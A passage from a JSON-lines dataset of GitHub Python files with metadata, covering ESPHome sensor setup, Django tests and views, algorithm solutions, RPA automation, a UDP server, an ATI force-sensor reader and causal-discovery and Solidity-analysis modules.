sensor.new_sensor(config[CONF_ECO2_BASELINE])\n cg.add(var.set_eco2_baseline_sensor(sens))\n\n if CONF_TVOC_BASELINE in config:\n sens = await sensor.new_sensor(config[CONF_TVOC_BASELINE])\n cg.add(var.set_tvoc_baseline_sensor(sens))\n\n if CONF_STORE_BASELINE in config:\n cg.add(var.set_store_baseline(config[CONF_STORE_BASELINE]))\n\n if CONF_BASELINE in config:\n baseline_config = config[CONF_BASELINE]\n cg.add(var.set_eco2_baseline(baseline_config[CONF_ECO2_BASELINE]))\n cg.add(var.set_tvoc_baseline(baseline_config[CONF_TVOC_BASELINE]))\n\n if CONF_COMPENSATION in config:\n compensation_config = config[CONF_COMPENSATION]\n sens = await cg.get_variable(compensation_config[CONF_HUMIDITY_SOURCE])\n cg.add(var.set_humidity_sensor(sens))\n sens = await cg.get_variable(compensation_config[CONF_TEMPERATURE_SOURCE])\n cg.add(var.set_temperature_sensor(sens))\n","repo_name":"esphome/esphome","sub_path":"esphome/components/sgp30/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"en","doc_type":"code","stars":6791,"dataset":"github-code","pt":"47"} +{"seq_id":"12601152823","text":"from django.test import TestCase\nfrom character.views import char_page\nfrom django.core.urlresolvers import resolve\nfrom character.models import Character\n\nclass NewCharacterTest(TestCase):\n\n def test_character_view_uses_template(self):\n found = resolve('/character/')\n self.assertEqual(found.func, char_page)\n\n def test_character_home_page_uses_correct_template(self):\n response = self.client.get('/character/')\n self.assertTemplateUsed(response, 'char_home.html')\n\n def test_new_character_redirects_after_POST(self):\n response = self.client.post('/character/new', data={'character_name': 'Shaltorinn',\n 'character_description': 'Golden Boy Scout'})\n\n self.assertEqual(response.status_code, 302)\n\n new_character = Character.objects.first()\n self.assertEqual(response['location'], '/character/%d/' % (new_character.id,))","repo_name":"panzerama/critaholic","sub_path":"character/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21143134780","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\ns = input()\nlk, rk = [], []\n\ncnt = 0\nfor i in s:\n if i == 'K':\n cnt += 1\n else:\n lk.append(cnt)\n \ncnt = 0\nfor i in s[::-1]:\n if i == 'K':\n cnt += 1\n else:\n rk.append(cnt)\nrk.reverse()\n\nl, r = 0, len(lk)-1\nanswer = 0\nwhile l <= r:\n answer = max(answer, r-l+1+2*min(lk[l], rk[r]))\n if lk[l] < rk[r]:\n l += 1\n else:\n r -= 1\nprint(answer)\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/twoPointer/20442.py","file_name":"20442.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"37028959372","text":"\"\"\"\n62 / 62 test cases passed.\nRuntime: 64 ms\nMemory Usage: 15.2 MB\n\"\"\"\nclass Solution:\n def numDistinct(self, s: str, t: str) -> int:\n dp = [[0] * (len(t) + 1) for _ in range(len(s) + 1)]\n for i in range(len(dp)):\n dp[i][0] = 1 \n for i in range(1, len(dp)):\n for j in range(1, len(dp[0])):\n dp[i][j] = dp[i - 1][j - 1] + dp[i - 1][j] if s[i - 1] == t[j - 1] else dp[i - 1][j]\n return dp[-1][-1]\n","repo_name":"InnoFang/algo-set","sub_path":"LeetCode/0115. Distinct Subsequences/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"47"} +{"seq_id":"38729214280","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nif __name__ == '__main__':\r\n\tlines = open(r'D:\\code\\commicDownload\\hsv_hist_new_unify_h.txt').readlines()\r\n\tfor line in lines:\r\n\t\tif int(line.split(' ')[-1]) < 5000:\r\n\t\t\tcontinue\r\n\t\tdata = map(lambda x : float(x), line.split('\\t')[1].split(' ')[:180])\r\n\t\tplt.bar(np.arange(len(data)), data, alpha = 0.5)\r\n\t\tplt.show()","repo_name":"yizhikong/Illustration_Classification","sub_path":"DataProcess/paint.py","file_name":"paint.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23057295808","text":"from robocorp.tasks import task\nfrom robocorp import browser\n\nfrom RPA.HTTP import HTTP\nfrom RPA.Tables import Tables\nfrom RPA.PDF import PDF\nfrom RPA.Archive import Archive\nfrom RPA.FileSystem import FileSystem\n\n@task\ndef order_robots_from_RobotSpareBin():\n \"\"\"\n Orders robots from RobotSpareBin Industries Inc.\n Saves the order HTML receipt as a PDF file.\n Saves the screenshot of the ordered robot.\n Embeds the screenshot of the robot to the PDF receipt.\n Creates ZIP archive of the receipts and the images.\n \"\"\"\n\n open_robot_order_website()\n download_csv_file()\n orders = get_orders()\n\n for row in orders:\n close_annoying_modal()\n fill_the_form(row)\n store_receipt_as_pdf(str(row[\"Order number\"]))\n\n archive_receipts()\n\n\ndef open_robot_order_website():\n \"\"\"Navigate to the given URL\"\"\"\n browser.goto(url=\"https://robotsparebinindustries.com/#/robot-order\")\n\n\ndef download_csv_file():\n \"\"\"Downloads csv file from the given URL\"\"\"\n http = HTTP()\n http.download(url=\"https://robotsparebinindustries.com/orders.csv\", overwrite=True)\n\ndef get_orders():\n \"\"\"Get the order data into a table\"\"\"\n orders = Tables().read_table_from_csv(\"orders.csv\", columns=[\"Order number\", \"Head\", \"Body\", \"Legs\",\"Address\"])\n return orders\n\ndef close_annoying_modal():\n \"\"\"Close the initial pop-up\"\"\"\n page = browser.page()\n page.click(\"button:text('OK')\")\n\ndef fill_the_form(order):\n \"\"\"Fills the order info and click 'Preview' and 'ORDER' button\"\"\"\n page = browser.page()\n\n page.select_option(\"#head\", str(order[\"Head\"]))\n page.click(\"#id-body-\"+str(order[\"Body\"]))\n leg_id = page.get_attribute(\"label:text('3. Legs:')\",\"for\")\n page.fill(\"input[id='\"+ leg_id +\"']\", str(order[\"Legs\"]))\n page.fill(\"#address\", str(order[\"Address\"]))\n page.click(\"button:text('Preview')\")\n\n while(page.query_selector(\"#receipt\") is None):\n page.click(\"button:text('Order')\")\n\n\ndef store_receipt_as_pdf(order_number):\n \"\"\"Store the order receipt as a PDF file\"\"\"\n\n page = browser.page()\n\n pdf = PDF()\n lib = FileSystem()\n lib.create_directory(\"output/receipts\")\n pdf_path = \"output/receipts/order_\"+order_number+\".pdf\"\n\n\n page.locator(\"#receipt\").wait_for(state='attached')\n\n order_receipt_html = page.locator(\"#receipt\").inner_html(timeout=10)\n\n pdf.html_to_pdf(order_receipt_html, pdf_path)\n\n \n screenshot_robot(order_number)\n\n embed_screenshot_to_receipt(\"output/receipts/\"+order_number+\".png\", pdf_path)\n\n page.click(\"button:text('Order another robot')\")\n \n \ndef screenshot_robot(order_number):\n \"\"\"Take a screenshot of the page\"\"\"\n page = browser.page()\n page.locator(selector=\"#robot-preview-image\").screenshot(path=\"output/receipts/\"+order_number+\".png\")\n\ndef embed_screenshot_to_receipt(screenshot, pdf_file):\n \"\"\"Embed the robot screenshot to the receipt PDF file\"\"\"\n\n list_of_files = [\n screenshot +':align=center'\n ]\n\n pdf = PDF()\n pdf.open_pdf(pdf_file)\n pdf.add_files_to_pdf(files=list_of_files,target_document=pdf_file,append=True)\n pdf.save_pdf(output_path=pdf_file)\n pdf.close_all_pdfs()\n\ndef archive_receipts():\n lib = Archive()\n lib.archive_folder_with_zip(\"output/receipts\", \"receipts.zip\")\n","repo_name":"JuFigueiredo/Robocorp_Certification_Level_II_Python","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2341215833","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('datacenter', '0114_added_null_blank_to_mobile_in_userprofile_table'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='EducationAndCertificationDetails',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('educational_details', models.TextField(blank=True)),\n ('certification_details', models.TextField(blank=True)),\n ('created_date', models.DateTimeField(auto_now_add=True, null=True)),\n ('modified_date', models.DateTimeField(auto_now=True, null=True)),\n ('user_profile', models.ForeignKey(blank=True, to='datacenter.UserProfile', null=True)),\n ],\n options={\n 'managed': True,\n },\n ),\n ]\n","repo_name":"venki208/abotmi","sub_path":"abotmi/datacenter/migrations/0115_ Education and certification details.py","file_name":"0115_ Education and certification details.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72857425101","text":"\n\nimport os\nimport sys\nimport re\nfrom zhon.hanzi import punctuation \nimport string\n\nenglish_punc = string.punctuation\nchinese_punc = punctuation\npunc = english_punc + chinese_punc\n\ndef length_filter(x, y):\n len_x = len(x.strip().split())\n if len_x == 0:\n return True\n len_y = len(y.strip().split())\n if len_y > 2.5 * len_x or 2.5 * len_y < len_x:\n return True\n return False\n\ndef chinese_filter(strs):\n length = len(strs)+0.1\n i = 0\n for _char in strs:\n if '\\u4e00' <= _char <= '\\u9fff':\n i += 1\n if i/length > 0.1: \n return False\n return True\ndef repetition_filter(strs):\n words = strs.split()\n length = len(words)+0.1\n uni_words = set(words)\n if len(uni_words)/length < 0.3: \n return True\n return False\n\ndef punctuation_filter(strs):\n length = len(strs)+0.1\n i = 0\n for _char in strs:\n if _char in punc:\n i += 1\n if i/length < 0.5: \n return False\n return True\ndef unk_filter(strs):\n if \"< un k >\" in strs:\n return True\n return False\nif __name__ == \"__main__\":\n src = sys.argv[1]\n tgt = sys.argv[2]\n rsrc = sys.argv[3]\n rtgt = sys.argv[4]\n cnt = 0\n unk_filtered = 0\n length_filtered = 0\n language_filtered = 0\n repetition_filtered = 0\n punc_filtered = 0\n noise_type = [\"length_filter\",\"unk_filter\", \"language_filter\", \"repetition_filtered\", \"punc_filtered\"]\n noised_data = [open(f\"noised_data/{noise}\",\"w\",encoding=\"utf-8\") for noise in noise_type]\n with open(src,\"r\",encoding=\"utf-8\") as f1, open(tgt,\"r\",encoding=\"utf-8\") as f2, \\\n open(rsrc,\"w\",encoding=\"utf-8\") as f3, open(rtgt,\"w\",encoding=\"utf-8\") as f4:\n for line_src, line_tgt in zip(f1,f2):\n line_src = line_src.strip()\n line_tgt = line_tgt.strip()\n \n cnt += 1\n if length_filter(line_src,line_tgt):\n noised_data[0].write(line_src +\" ||| \"+line_tgt + \"\\n\")\n length_filtered += 1\n continue\n if unk_filter(line_tgt):\n noised_data[1].write(line_tgt + \"\\n\")\n unk_filtered += 1\n continue\n if chinese_filter(line_tgt):\n noised_data[2].write(line_tgt + \"\\n\")\n language_filtered += 1\n continue\n if repetition_filter(line_tgt):\n noised_data[3].write(line_tgt + \"\\n\")\n repetition_filtered += 1\n continue\n if punctuation_filter(line_tgt):\n noised_data[4].write(line_tgt + \"\\n\")\n punc_filtered += 1\n continue\n f3.write(line_src.strip() + \"\\n\")\n f4.write(line_tgt.strip() + \"\\n\")\n print(\"#####\")\n print(f\"Read in {cnt} sentences, unk filter {unk_filtered} sentences, length filter {length_filtered} sentences, language fileter {language_filtered} sentences, repetition filter {repetition_filtered} sentences, punctuation filter {punc_filtered} sentences\")\n\n # for f in noised_data:\n # f.close() \n\n\n\n\n\n","repo_name":"lishangjie1/fairseq-moe","sub_path":"tools/clean_tools/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21964139068","text":"import argparse\nimport logging\nimport os\nimport pathlib\nfrom typing import Optional\n\nimport configuration\nimport connexion\nfrom flask.app import Flask\nfrom shopping import __version__, db_session\n\nDEFAULT_CONFIG = os.path.join(\"config.yaml\")\nlogger = logging.getLogger(__name__)\n\n\ndef app_factory() -> Flask:\n \"\"\"Add routes app\"\"\"\n connexion_app = connexion.App(__name__, specification_dir=\"openapi/\")\n # API from /openapi/*\n connexion_app.add_api(pathlib.Path(\"api.yaml\"))\n return connexion_app.app\n\n\ndef generate_app(config_file: Optional[str] = None) -> Flask:\n \"\"\"Generate app\"\"\"\n configuration.init(config_file)\n db_session.global_init(configuration.config.sqlite)\n return app_factory()\n\n\ndef main() -> None:\n \"\"\"Main function\"\"\"\n\n parser = argparse.ArgumentParser(description=\"Shopping System\")\n\n parser.add_argument(\"--config\", dest=\"config\", metavar=\"filename\", help=\"Configuration file\", default=DEFAULT_CONFIG)\n parser.add_argument(\"--host\", dest=\"host\", help=\"Host address to bind to\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", dest=\"port\", help=\"Port to listen on\")\n parser.add_argument(\"--debug\", dest=\"debug\", action=\"store_true\", help=\"Enable debugging\")\n args = parser.parse_args()\n\n if args.debug:\n logging.basicConfig(level=logging.DEBUG)\n else:\n logging.basicConfig(level=logging.INFO)\n\n app = generate_app(args.config)\n logger.info(f\"Starting Shopping List System version {__version__}\")\n if args.port is None:\n args.port = 9999\n app.run(port=args.port, host=args.host)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"mikazz/Shopping","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24555520891","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2019/7/17 10:50\n\nFile name UDP_server.py\n\n@author: john lee\n\"\"\"\nimport socket\nimport pickle\nimport sys\nimport hashlib\nimport struct\n\nm = hashlib.md5()\naddress = ('192.168.107.1', 6666)\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.bind(address)\nprint('UDP服务器就绪! 等待客户数据')\nwhile True:\n try:\n # 接受UDP套接字的数据,2048为接受的最大数量,多的直接丢弃!\n # 不推荐使用UDP传大量数据\n recv_source_data = s.recvfrom(2048)\n data, addr = recv_source_data\n if not data:\n print('客户端退出!')\n break\n # 将收到的数据解包\n data_recv = (struct.unpack('40s12s32s', data)[0])\n # 将收到的header解包\n head = struct.unpack('40s12s32s', data)[1]\n header = struct.unpack('!hhii', head)\n # 分解出header中的序号和长度\n seq_id = header[2]\n length = header[3]\n # 将收到的MD5解包\n md5_recv = struct.unpack('40s12s32s', data)[2]\n # 将收到的数据进行MD5计算\n m.update(str(pickle.loads(data_recv)).encode())\n md5_value = m.hexdigest()\n # print(md5_value.encode())\n\n if md5_recv == md5_value.encode():\n print('=' * 80)\n print(\"{0:<30}:{1:<30}\".format(\"数据来自于\", str(addr)))\n print(\"{0:<30}:{1:<30}\".format(\"数据序号为\", seq_id))\n print(\"{0:<30}:{1:<30}\".format(\"数据长度为\", length))\n print(\"{0:<30}:{1:<30}\".format(\"数据内容为\", str(pickle.loads(data_recv))))\n\n except KeyboardInterrupt:\n sys.exit()\ns.close()\n","repo_name":"johnlee888888/Pycent","sub_path":"Python_network/Network_Programming/UDP/UDP_server1.py","file_name":"UDP_server1.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"36595896271","text":"\"\"\"\nCreated on Fri May 14 14:44:06 2021\n@author: Dongting Li; dongting@asu.edu.\nFor future idealab student, feel free to contact me for questions.\n\"\"\"\n\nimport socket\nimport numpy\nimport time\nimport threading\n\nclass atiSensor:\n def __init__(self, tcp_ip='192.168.1.121', max_retries=3):\n \"\"\"\n \"192.168.1.121 is the default ATI sensor IP address\"\n Initialize the atiSensor object, establish the connection and perform calibration.\n\n TCP_IP: IP address of the sensor.\n max_retries: Maximum number of retries to establish a connection.\n \"\"\"\n self.max_retries = max_retries\n self._ati_data = None\n self.calib_data = [0,0,0,0,0,0]\n self.TCP_IP = tcp_ip\n self.CALIBRATE_NUM = 10000 # Number of samples for calibration\n self.TCP_PORT = 49152 # TCP port for the sensor\n self.BUFFER_SIZE = 1024 # Buffer size for data received from the sensor\n self.ORDER = 'big' # Byte order for data received from the sensor\n self.COUNTS_PER_UNIT = numpy.array([1000000] * 6) # Unit conversion factors for sensor data\n self._init_connection() # Establish the connection\n self._calibrate() # Perform calibration\n self.update_thread = None\n\n def _init_connection(self):\n \"\"\"\n Establish a connection to the sensor, with retries in case of timeout.\n \"\"\"\n print(\"Initializing ATI sensor\")\n print(\"Start connection to \" + self.TCP_IP)\n retries = 0\n while retries < self.max_retries:\n try:\n # Construct the connection message\n message = b''\n message += (0x1234).to_bytes(2, byteorder=self.ORDER, signed=False)\n message += (2).to_bytes(2, self.ORDER)\n message += (1).to_bytes(4, self.ORDER)\n\n # Establish the connection\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.settimeout(2)\n s.connect((self.TCP_IP, self.TCP_PORT))\n print(\"Sensor connected\")\n\n # Save the socket and message for future use\n self.s = s\n self.message = message\n return\n except socket.timeout:\n print(\"Connection timeout, retrying...\")\n retries += 1\n time.sleep(1) # Wait before trying to reconnect\n\n # If we've exhausted all retries, raise an error\n raise ConnectionError(f\"Could not connect to the sensor at {self.TCP_IP} after {self.max_retries} attempts.\")\n\n def _extract_raw(self, packet):\n \"\"\"\n Extract the raw sensor data from a packet.\n\n packet: Byte data received from the sensor.\n \"\"\"\n raw = []\n for ii in range(6):\n byte = packet[12 + ii * 4:12 + ii * 4 + 4]\n # This line is slicing a chunk of 4 bytes from the packet for each iteration of the loop.\n # For example, during the first iteration (when ii is 0), it will take the bytes from index 12 to 15.\n # In the next iteration, it will take bytes from index 16 to 19, and so on.\n value = int.from_bytes(byte, byteorder=self.ORDER, signed=True)\n raw.append(value)\n # raw will contain 6 integer values, each derived from a 4-byte chunk of the packet. These values are the raw measurements from the sensor.\n return raw\n\n def _calibrate(self):\n \"\"\"\n Calibrate the sensor. Once this function is called, the sensor will be automatically calibrated.\n \"\"\"\n calib_data_list = []\n for j in range(0, self.CALIBRATE_NUM):\n self.s.send(self.message)\n data = self.s.recv(self.BUFFER_SIZE)\n data2 = numpy.array(self._extract_raw(data))\n calib_data_list.append(data2)\n calib_data = numpy.array(calib_data_list)\n scaled_data = calib_data / self.COUNTS_PER_UNIT\n self.calib_data = numpy.sum(scaled_data, axis=0) / self.CALIBRATE_NUM\n print(\"Calibration finished, current offset is\",self.calib_data)\n\n def get_data(self):\n \"\"\"\n Retrieve calibrated data from the sensor.\n \"\"\"\n self.s.send(self.message)\n data = self.s.recv(self.BUFFER_SIZE)\n data2 = numpy.array(self._extract_raw(data))\n ati_data = data2 / self.COUNTS_PER_UNIT-self.calib_data\n return ati_data\n\n def start_updating(self, update_interval=1):\n \"\"\"\n Start continuously updating sensor data in the background.\n \"\"\"\n def update_loop():\n while True:\n self._ati_data = self.get_data()\n time.sleep(0.01)\n self.update_thread = threading.Thread(target=update_loop)\n self.update_thread.start()\n\n\nif __name__ == '__main__':\n # Refer to readme for sensor connection, the TCP_IP is the ip address for the sensor, you should set it in your ethernet adapter's IP v4 manual settings\n # Once you set it, you should be able to access it using your browser.\n # ATI has a switch on board to control the IP address, check out their manula to see how to set it.\n TCP_IP = \"192.168.1.122\" # IP address of the sensor\n ati_sensor = atiSensor(TCP_IP) # Create an atiSensor object\n \n # Here is just an example of calling calivration, althought the sensor init calibrate the sensor already.\n try:\n ati_sensor._calibrate()\n except:\n raise ConnectionError(f\"Unable to calibrate\")\n while True:\n force = ati_sensor.get_data() # Retrieve calibrated data\n time.sleep(0.01)\n print(force) # Print the data\n\n # To use the code out of this main function, simply use \"from read_ati_class import atiSensor\"\n","repo_name":"idealabasu/code_equipment","sub_path":"python/idealab_equipment/read_ati_class.py","file_name":"read_ati_class.py","file_ext":"py","file_size_in_byte":5761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"15093564335","text":"import random\nimport statistics\nrandom.seed(0)\nsalaries = [round(random.random()*1000000, -3) for _ in range(100)]\nprint(salaries)\n\n\n#The Mean is:\nsum = 0\n#values = [8,20,12,15,4]\nn = len(salaries)\n\nfor i in salaries:\n sum = sum + i\n\nmean = sum/n\nprint ('The Mean is: ' + str(mean)) \n\n\n# The Median is:\nmedian=statistics.median(salaries)\nprint ('The Median is: ' + str(median)) \n\n#The Mode is:\nMode=statistics.mode(salaries)\nprint ('The Mode is: ' + str(Mode))\n\n### sample variance.Remember to use Bessel's correction.\nVariance=statistics.variance(salaries)\nprint ('The Variance is: ' + str(Variance))\n\n# sample standard deviation.Remember to use Bessel's correction.\nSDeviation=statistics.stdev(salaries)\nprint ('The standard deviation is: ' + str(SDeviation))\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"sima59/hw1","sub_path":".ipynb_checkpoints/Generate_RD-checkpoint.py","file_name":"Generate_RD-checkpoint.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28867292299","text":"import torch\nfrom torch import Tensor\n\nfrom ..models.encoders import LSTMEncoder, TransformerEncoder, MLPEncoder\nfrom ..models.decoders import LSTMDecoder, MLPDecoder\n\n\nclass Actor(object):\n \"\"\"\n Design of Actor Part in Reinforcement Learning Actor-Critic Algorithm.\n\n Include ``Encoder`` and ``Decoder``. The ``Encoder`` is used to map the\n observed data to the embedding space S={s1, · · · , sd}.\n The ``Decoder`` maps the state space S^(S_hat) to the action space A.\n\n Parameters\n ----------\n input_dim: int\n dimension of input data, number of variables, number of DAG node.\n embed_dim: int, default: 256\n dimension of embedding space S.\n encoder_blocks: int, default: 3\n Effective when `encoder`='transformer'.\n Design for the neural network structure of the Transformer encoder,\n each block is composed of a multi-head attention network and\n feed-forward neural networks.\n encoder_heads: int, default: 8\n Effective when `encoder_name`='transformer'.\n head number of multi-head attention network,\n encoder_name: str, default: 'transformer'\n Indicates type of encoder, one of [`transformer`, `lstm`, `mlp`]\n decoder_name: str, default: 'lstm'\n Indicates type of decoder, one of [`lstm`, `mlp`]\n \"\"\"\n\n ENCODER_HIDDEN_DIM = 1024\n\n def __init__(self, input_dim, embed_dim=256,\n encoder_name='transformer',\n encoder_blocks=3,\n encoder_heads=8,\n decoder_name='lstm',\n device=None) -> None:\n\n self.input_dim = input_dim\n self.embed_dim = embed_dim\n self.encoder_blocks = encoder_blocks\n self.encoder_heads = encoder_heads\n self.encoder_name = encoder_name\n self.decoder_name = decoder_name\n self.device = device\n\n self._instantiation()\n\n def _instantiation(self):\n if self.encoder_name.lower() == 'transformer':\n self.encoder = TransformerEncoder(input_dim=self.input_dim,\n embed_dim=self.embed_dim,\n hidden_dim=self.ENCODER_HIDDEN_DIM,\n heads=self.encoder_heads,\n blocks=self.encoder_blocks,\n device=self.device)\n elif self.encoder_name.lower() == 'lstm':\n self.encoder = LSTMEncoder(input_dim=self.input_dim,\n embed_dim=self.embed_dim,\n device=self.device)\n elif self.encoder_name.lower() == 'mlp':\n self.encoder = MLPEncoder(input_dim=self.input_dim,\n embed_dim=self.embed_dim,\n hidden_dim=self.ENCODER_HIDDEN_DIM,\n device=self.device)\n else:\n raise ValueError(f'Invalid encoder type, expected one of '\n f'[`transformer`, `lstm`, `mlp`], but got'\n f'``{self.encoder_name}``.')\n\n if self.decoder_name.lower() == 'lstm':\n self.decoder = LSTMDecoder(input_dim=self.embed_dim,\n hidden_dim=self.embed_dim,\n device=self.device)\n elif self.decoder_name.lower() == 'mlp':\n self.decoder = MLPDecoder(input_dim=self.embed_dim,\n hidden_dim=self.embed_dim,\n device=self.device)\n else:\n raise ValueError(f'Invalid decoder type, expected one of '\n f'[`lstm`, `mlp`], but got ``{self.decoder_name}``.')\n\n def encode(self, input) -> torch.Tensor:\n \"\"\"\n draw a batch of samples from X, encode them to S and calculate\n the initial state ˆs0\n\n Parameters\n ----------\n input: Tensor\n a batch samples from X\n\n Returns\n -------\n out: Tensor\n encoder_output.shape=(batch_size, n_nodes, embed_dim)\n \"\"\"\n\n self.encoder_output = self.encoder(input)\n\n return self.encoder_output\n\n def decode(self, input) -> torch.Tensor:\n \"\"\"\n Maps the state space ˆS to the action space A.\n\n Parameters\n ----------\n input: Tensor\n (batch_size, n_nodes, input_dim)\n a batch of samples from X, output of Encoder.\n\n Returns\n -------\n out: tuple\n (actions, mask_scores, s_list, h_list, c_list)\n\n Notes::\n actions: (batch_size, n_nodes)\n mask_scores: (batch_size, n_nodes, n_nodes)\n s_list: input for lstm cell, (batch_size, n_nodes, embed_dim)\n h_list: h for lstm cell, (batch_size, n_nodes, embed_dim)\n c_list: c for lstm cell, (batch_size, n_nodes, embed_dim)\n \"\"\"\n\n outputs = self.decoder(input)\n\n return outputs\n","repo_name":"huawei-noah/trustworthyAI","sub_path":"gcastle/castle/algorithms/gradient/corl/torch/frame/_actor.py","file_name":"_actor.py","file_ext":"py","file_size_in_byte":5044,"program_lang":"python","lang":"en","doc_type":"code","stars":830,"dataset":"github-code","pt":"47"} +{"seq_id":"72904898383","text":"from functools import total_ordering\nfrom typing import Optional, Union\n\nfrom slither.core.solidity_types.elementary_type import ElementaryType, Int, Uint\nfrom slither.slithir.variables.variable import SlithIRVariable\nfrom slither.utils.arithmetic import convert_subdenomination\nfrom slither.utils.integer_conversion import convert_string_to_int\n\n\n@total_ordering\nclass Constant(SlithIRVariable):\n def __init__(\n self,\n val: str,\n constant_type: Optional[ElementaryType] = None,\n subdenomination: Optional[str] = None,\n ) -> None: # pylint: disable=too-many-branches\n super().__init__()\n assert isinstance(val, str)\n\n self._original_value = val\n self._subdenomination = subdenomination\n\n if subdenomination:\n val = str(convert_subdenomination(val, subdenomination))\n\n if constant_type: # pylint: disable=too-many-nested-blocks\n assert isinstance(constant_type, ElementaryType)\n self._type = constant_type\n if constant_type.type in Int + Uint + [\"address\"]:\n self._val: Union[bool, int, str] = convert_string_to_int(val)\n elif constant_type.type == \"bool\":\n self._val = (val == \"true\") | (val == \"True\")\n else:\n self._val = val\n else:\n if val.isdigit():\n self._type = ElementaryType(\"uint256\")\n self._val = convert_string_to_int(val)\n else:\n self._type = ElementaryType(\"string\")\n self._val = val\n\n self._name = str(self._val)\n\n @property\n def value(self) -> Union[bool, int, str]:\n \"\"\"\n Return the value.\n If the expression was an hexadecimal delcared as hex'...'\n return a str\n Returns:\n (str | int | bool)\n \"\"\"\n return self._val\n\n @property\n def original_value(self) -> str:\n \"\"\"\n Return the string representation of the value\n :return: str\n \"\"\"\n return self._original_value\n\n def __str__(self) -> str:\n return str(self.value)\n\n def __eq__(self, other: object) -> bool:\n return self.value == other\n\n def __ne__(self, other: object) -> bool:\n return self.value != other\n\n def __lt__(self, other: object) -> bool:\n if not isinstance(other, (Constant, str)):\n raise NotImplementedError\n return self.value < other # type: ignore\n\n def __repr__(self) -> str:\n return f\"{str(self.value)}\"\n\n def __hash__(self) -> int:\n return self._val.__hash__()\n","repo_name":"crytic/slither","sub_path":"slither/slithir/variables/constant.py","file_name":"constant.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":4676,"dataset":"github-code","pt":"47"} +{"seq_id":"8754710997","text":"import multiprocessing\n\nclass ProsesWahana(multiprocessing.Process):\n\n def run(self):\n print ('called run method in %s' %self.name)\n return\n\nif __name__ == '__main__':\n for i in range(10):\n process = ProsesWahana()\n process.start()\n process.join()\n","repo_name":"kerjabhakti/SISTER_3B","sub_path":"Chapter003/1204039_Muammar Alfien Zaidan/process_in_subclass.py","file_name":"process_in_subclass.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"26481663114","text":"from django.shortcuts import render, redirect\nfrom phones.models import Phone\n\n\ndef index(request):\n return redirect('catalog')\n\n\ndef show_catalog(request):\n template = 'catalog.html'\n sort = request.GET.get('sort')\n if sort:\n if sort == 'name':\n obj = Phone.objects.all().order_by('name')\n elif sort == 'min_price':\n obj = Phone.objects.all().order_by('price')\n elif sort == 'max_price':\n obj = Phone.objects.all().order_by('-price')\n else:\n obj = Phone.objects.all()\n\n context = {\n 'phones': obj\n }\n return render(request, template, context)\n\n\ndef show_product(request, slug):\n template = 'product.html'\n context = {\n 'phone': Phone.objects.get(slug=slug)\n }\n return render(request, template, context)\n","repo_name":"Redhead80/NETOLOGY_DJ-22_Django-homeworks","sub_path":"2.1-databases/work_with_database/phones/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17090735923","text":"class Emitter(object):\n\n\tdef __init__(self, manager, editor):\n\t\tself.__init_attributes(manager, editor)\n\t\tself.__sigid1 = manager.connect(\"destroy\", self.__destroy_cb)\n\t\tself.__sigid2 = self.__combo.connect_after(\"changed\", self.__changed_cb)\n\n\tdef __init_attributes(self, manager, editor):\n\t\tself.__manager = manager\n\t\tself.__editor = editor\n\t\tself.__combo = manager.gui.get_object(\"LanguageComboBox\")\n\t\tself.__model = self.__combo.get_model()\n\t\treturn\n\n\tdef __destroy(self):\n\t\tsignals_data = (\n\t\t\t(self.__sigid1, self.__manager),\n\t\t\t(self.__sigid2, self.__combo),\n\t\t)\n\t\tself.__editor.disconnect_signals(signals_data)\n\t\tdel self\n\t\tself = None\n\t\treturn False\n\n\tdef __emit(self):\n\t\titerator = self.__combo.get_active_iter()\n\t\tlanguage = self.__model.get_value(iterator, 